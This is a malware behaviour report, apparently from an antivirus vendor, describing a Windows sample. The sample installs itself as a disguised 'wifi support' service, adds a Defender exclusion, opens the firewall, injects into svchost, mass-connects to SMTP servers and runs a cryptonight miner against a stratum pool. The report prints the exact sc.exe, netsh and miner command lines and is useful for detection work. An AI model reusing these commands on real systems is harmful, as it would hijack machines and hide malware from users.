Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\nujkikbm] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nujkikbm] 'ImagePath' = '%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\nujkikbm] 'ImagePath' = '%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nujkikbm' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\rpwsrayp.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\rpwsrayp.exe to %WINDIR%\syswow64\nujkikbm\rpwsrayp.exe
Deletes itself.
Network activity
Connects to
- 'sm####n.inwind.it':25
- 'mx.###onnect.com':25
- 'sm###.##gione.abruzzo.it':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'mx#.###bluecross.com':25
- 'in.###estore.net':25
- 'mx######1-farm74.uni5.net':25
- 'mx#.mail.ru':25
- 'ma##.medion.com':25
- '14#.#6.108.92':486
- 'dc#####77c95da4.pec.com':25
- 'ma######rde1.xh1.lilly.com':25
- 'sa####ifoods.com.br':25
- 'ma####.bezeqint.net':25
- 'us#.###.mailhostbox.com':25
- 'alt4.gmail-smtp-in.l.google.com':25
- 'mx##.##stcontrol.com':25
- 'sp###.#ail.gandi.net':25
- 'wo####africa.com':25
- 'fm###.unina.it':25
- 'mx#######e01.gslb.pphosted.com':25
- 'mx.#.#ocaweb.com.br':25
- 'in##.rambler.ru':25
- 'mx##.#ail.citi.com':25
- 'sm##.##b.shawcable.net':25
- 'Mx#######a01.gslb.pphosted.com':25
- 'ma##.#kkap.com.cn':25
- 're#####paletes.com.br':25
- 'in.##mailer.it':25
- 'ALT2.ASPMX.L.GOOGLE.COM':25
- 'mx#.#c.upv.es':25
- 'mx######92f01.pphosted.com':25
- 'sm##.##telopeaudio.com':25
- 'gmail-smtp-in.l.google.com':25
- 'mx#######201.gslb.pphosted.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'mx#.#otmail.com':25
- 'sm##.##cureserver.net':25
- 'vm######.#egione.emilia-romagna.it':25
- 'mt##.##0.yahoodns.net':25
- 'alt1.aspmx.l.google.com':25
- 'aspmx.l.google.com':25
- 'alt1.gmail-smtp-in.l.google.com':25
- 'mx.#im.it':25
- 'mx######6dd01.pphosted.com':25
- 'de###.idsud.com':25
- 'mx.##.##mail.iss.as9143.net':25
- 'sm####n.virgilio.it':25
- 'mx#.###red.acl.com.br':25
- '20#.#47.35.206':587
- 'alt2.gmail-smtp-in.l.google.com':25
- 'd3#####.##s.barracudanetworks.com':25
- 'ra###x.com.br':25
- 'sm###in.iol.it':25
- 'mx.#########et.com.cust.b.hostedemail.com':25
- 'ac####.pancanal.com':25
- 'et###.#ail.tiscali.it':25
- 'us#####30.oracle.com':25
- 'mx#######701.gslb.pphosted.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK sm###.##gione.abruzzo.it
- DNS ASK ti###linet.it
- DNS ASK bt.dk
- DNS ASK ca####ecross.com
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK mx.###onnect.com
- DNS ASK re####e.abruzzo.it
- DNS ASK mx#.###bluecross.com
- DNS ASK ln###ilwara.com
- DNS ASK en###x.com.br
- DNS ASK mx######1-farm74.uni5.net
- DNS ASK ma#l.ru
- DNS ASK mx#.mail.ru
- DNS ASK ad##ra.it
- DNS ASK in.###estore.net
- DNS ASK wv###nect.com
- DNS ASK re#####paletes.com.br
- DNS ASK ALT2.ASPMX.L.GOOGLE.COM
- DNS ASK io#.it
- DNS ASK sm###in.iol.it
- DNS ASK ca###rocket.com
- DNS ASK mx.#########et.com.cust.b.hostedemail.com
- DNS ASK mi###a.edu.co
- DNS ASK ya##o.com
- DNS ASK ra###x.com.br
- DNS ASK pa###nal.com
- DNS ASK ti##ali.it
- DNS ASK et###.#ail.tiscali.it
- DNS ASK bs####tralia.com
- DNS ASK ps##.com
- DNS ASK mx######6dd01.pphosted.com
- DNS ASK bs##oy.eu
- DNS ASK ac####.pancanal.com
- DNS ASK bu###ville.com
- DNS ASK ca####llschools.org
- DNS ASK me##on.com
- DNS ASK ma##.medion.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK fl###sbella.net
- DNS ASK mx.#.#ocaweb.com.br
- DNS ASK ra##ler.ru
- DNS ASK in##.rambler.ru
- DNS ASK ci##.com
- DNS ASK mx##.#ail.citi.com
- DNS ASK sh#w.ca
- DNS ASK sm##.##b.shawcable.net
- DNS ASK yk###.com.cn
- DNS ASK ma##.#kkap.com.cn
- DNS ASK ch#####tinvestment.com
- DNS ASK Mx#######a01.gslb.pphosted.com
- DNS ASK go##ing.com
- DNS ASK us#.###.mailhostbox.com
- DNS ASK bk##ech.com
- DNS ASK fm###.unina.it
- DNS ASK di###too.com
- DNS ASK st####ti.unina.it
- DNS ASK sa####ifoods.com.br
- DNS ASK pe#.com
- DNS ASK dc#####77c95da4.pec.com
- DNS ASK li##y.com
- DNS ASK ma######rde1.xh1.lilly.com
- DNS ASK en##are.it
- DNS ASK in.##mailer.it
- DNS ASK be###int.net
- DNS ASK ma####.bezeqint.net
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK be###rsen.nu
- DNS ASK mx##.##stcontrol.com
- DNS ASK di##ta.com
- DNS ASK sp###.#ail.gandi.net
- DNS ASK wo####africa.com
- DNS ASK ki###corp.com
- DNS ASK im###oupe.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK d3#####.##s.barracudanetworks.com
- DNS ASK ma##lla.it
- DNS ASK aspmx.l.google.com
- DNS ASK bi###asperic.si
- DNS ASK pi#####.ccii.unipi.it
- DNS ASK ti#.it
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK eu###4.com.pl
- DNS ASK sm##.tin.it
- DNS ASK su#.com
- DNS ASK us#####30.oracle.com
- DNS ASK bi##.info
- DNS ASK ce##ed.it
- DNS ASK ma##.cesped.it
- DNS ASK ya##o.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ma###ces.com
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK at####global.com
- DNS ASK pa##n.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK as###.daum.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK li##ro.it
- DNS ASK sm####n.libero.it
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK vo###y-med.ch
- DNS ASK mx#.vtx.ch
- DNS ASK in##nd.it
- DNS ASK sm####n.inwind.it
- DNS ASK vm######.#egione.emilia-romagna.it
- DNS ASK id####ionet.com.br
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK 3d###ort.com
- DNS ASK as##.upv.es
- DNS ASK mx#.#c.upv.es
- DNS ASK mx.#im.it
- DNS ASK id##d.com
- DNS ASK de###.idsud.com
- DNS ASK nt###rld.com
- DNS ASK mx.##.##mail.iss.as9143.net
- DNS ASK vi##ilio.it
- DNS ASK sm####n.virgilio.it
- DNS ASK ne###y.com.br
- DNS ASK mx#.###red.acl.com.br
- DNS ASK re#####.emilia-romagna.it
- DNS ASK bb###signs.com
- DNS ASK sm##.##cureserver.net
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK 3d##p.com
- DNS ASK mx.###netmail.com
- DNS ASK mi####lanews.com
- DNS ASK mx######92f01.pphosted.com
- DNS ASK bi#o.fr
- DNS ASK se###s.biro.fr
- DNS ASK bi###can.com
- DNS ASK ai#s.it
- DNS ASK google.com
- DNS ASK au######.com.snwlhostedeu.com
- DNS ASK id###dio.com.hk
- DNS ASK an####peaudio.com
- DNS ASK sm##.##telopeaudio.com
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK re##ons.com
- DNS ASK of###tics.com
- DNS ASK uw###mni.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\nujkikbm\rpwsrayp.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nujkikbm\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rpwsrayp.exe" %WINDIR%\SysWOW64\nujkikbm\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create nujkikbm binPath= "%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description nujkikbm "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start nujkikbm' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nujkikbm\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\rpwsrayp.exe" %WINDIR%\SysWOW64\nujkikbm\
- '%WINDIR%\syswow64\sc.exe' create nujkikbm binPath= "%WINDIR%\SysWOW64\nujkikbm\rpwsrayp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description nujkikbm "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start nujkikbm
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe